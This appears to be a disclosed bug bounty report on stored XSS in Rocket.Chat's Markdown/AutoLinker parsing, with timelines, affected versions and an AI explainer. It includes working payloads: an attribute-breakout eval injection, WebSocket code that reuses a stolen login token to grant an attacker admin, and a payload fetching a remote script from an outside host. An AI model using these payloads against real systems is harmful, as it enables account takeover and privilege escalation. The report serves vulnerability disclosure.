Account takeover via XSS
An XSS vulnerability in Rocket.Chat's Markdown and AutoLinker parsing allowed an attacker to break out of an HTML attribute and inject a script. The attacker could steal the victim's login token and use it to authenticate over WebSocket, enabling account takeover and other actions.
- Triaged in 28 hours
- Fixed in 17 days
- Disclosed after 17 months
Summary by the program
An XSS was reported combining AutoLinker and Markdown. By combining AutoLinker and Markdown one could trick the parser into breaking out of the current HTML attribute, resulting in i.a. the possibility to obtain the login-token of a user. An initial attempt to fix the problem did not successfully mitigate the problem, as the reporter was able to continue the exploit with minor adjustments. The reporter suggested various mitigation strategies. a fix was then released for version 3.11, 3.10.5, 3.9.7, 3.8.8.
The report
Summary: By combining AutoLinker and Markdown an attacker is able to inject malicious scripts.
Description: By combining AutoLinker and Markdown we can trick the parser into breaking out of the current HTML attribute.
https://a?p=[ ](https:// style=animation-duration:1s;animation-name:blink;animation-iteration-count:2 onanimationiteration=Array.prototype[Symbol.hasInstance]=eval,'alert\x28\x27XSS\x27\x29;'instanceof[] target=_blank data-x=`.`)
results in:
<a href="https://a?p=<a href=" https:="" style="animation-duration:1s;animation-name:blink;animation-iteration-count:2" onanimationiteration="Array.prototype[Symbol.hasInstance]=eval,'alert\x28\x27XSS\x27\x29;'instanceof[]" target="_blank" data-x="<span" class="copyonly">`<span><code class="code-colors inline">.</code></span><span class="copyonly">`</span>" target="_blank" rel="noopener noreferrer"> </a>
" target="_blank" rel="noopener noreferrer">https://a?p==!=7vrXTtDtYHrLJ4Z7y=!="
To obtain the login-token of the victim we can either use document.cookie or localStorage.getItem('Meteor.loginToken').
Since we can authenticate against the websocket using this token, we can perform any actions in the context of the victim (change password, email etc.).
Releases Affected:
- Rocket.Chat-Desktop-Client: v2.16.2
- Rocket.Chat-Server: v2.0.0
- Apps-Engine-Version: v1.5.2
Steps To Reproduce (from initial installation to vulnerability):
In this example, the role admin is assigned to the desired user as far as the victim has the required permissions.
Code (replace {ATTACKER_USERID} and {ATTACKER_EMAIL}):
let ws = new WebSocket(`wss://${window.location.host}/sockjs/111/evilwss/websocket`);
ws.onmessage = function (evt) {
if (/\["{\\"msg\\":\\"pong\\"}"\]/.test(event.data)) {
ws.send('["{\\"msg\\":\\"pong\\"}"]');
}
if (/a\["{\\"server_id\\":\\"(.*)\\"}"\]/.test(event.data)) {
ws.send('["{\\"msg\\":\\"connect\\",\\"version\\":\\"1\\",\\"support\\":[\\"1\\",\\"pre2\\",\\"pre1\\"]}"]');
ws.send(`["{\\"msg\\":\\"method\\",\\"method\\":\\"login\\",\\"params\\":[{\\"resume\\":\\"${localStorage.getItem('Meteor.loginToken')}\\"}],\\"id\\":\\"1\\"}"]`);
}
if (/a\["{\\"msg\\":\\"connected\\",\\"session\\":\\"(.*)\\"}"\]/.test(event.data)) {
ws.send('["{\\"msg\\":\\"method\\",\\"method\\":\\"insertOrUpdateUser\\",\\"params\\":[{\\"_id\\":\\"{ATTACKER_USERID}\\",\\"statusText\\":\\"\\",\\"email\\":\\"{ATTACKER_EMAIL}\\",\\"verified\\":false,\\"password\\":\\"\\",\\"requirePasswordChange\\":false,\\"joinDefaultChannels\\":false,\\"sendWelcomeEmail\\":false,\\"roles\\":[\\"user\\",\\"admin\\"]}],\\"id\\":\\"17\\"}"]');
}
};
Payload (replace sectex.dev\x2ffiles\x2fcswsh.js):
https://a?p=[ ](https:// style=animation-duration:1s;animation-name:blink;animation-iteration-count:2 onanimationiteration=Array.prototype[Symbol.hasInstance]=eval,'s=document.createElement\x28\x27script\x27\x29;s.src=\x27\x68\x74\x74\x70\x73\x3a\x2f\x2fsectex.dev\x2ffiles\x2fcswsh.js\x27;document.body.appendChild\x28s\x29;'instanceof[] target=_blank data-x=`.`)
Supporting Material/References:
rocketchat.mp4 From the original on HackerOne
Suggested mitigation
- Fix initial XSS
Impact
- Attackers can execute scripts which can lead to:
- Account takeover
- Abitrary file read in Rocket.Chat-Desktop
- RCE in Rocket.Chat-Desktop (#276031)
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Impact
Attackers could execute scripts leading to account takeover, arbitrary file read in Rocket.Chat-Desktop, and RCE in Rocket.Chat-Desktop.
What the attacker needed
Victim is logged in; attacker can deliver crafted Markdown to the victim
The fix
A fix was released for versions 3.11, 3.10.5, 3.9.7, and 3.8.8.
How it was found
- Craft a Markdown link containing special characters and an event handler.
- The crafted Markdown is rendered by the application.
- When the victim views the message, the injected script executes.
- The script reads the login token from localStorage or cookies.
- The script opens a WebSocket and authenticates using the stolen token.
- The attacker performs actions as the victim, such as changing roles or password.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
The chat app turns Markdown links into HTML. By mixing a link with special characters, an attacker could make the app create a link with an extra event handler that runs JavaScript. That script could steal the victim's login token, letting the attacker act as the victim.
What is XSS?
Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.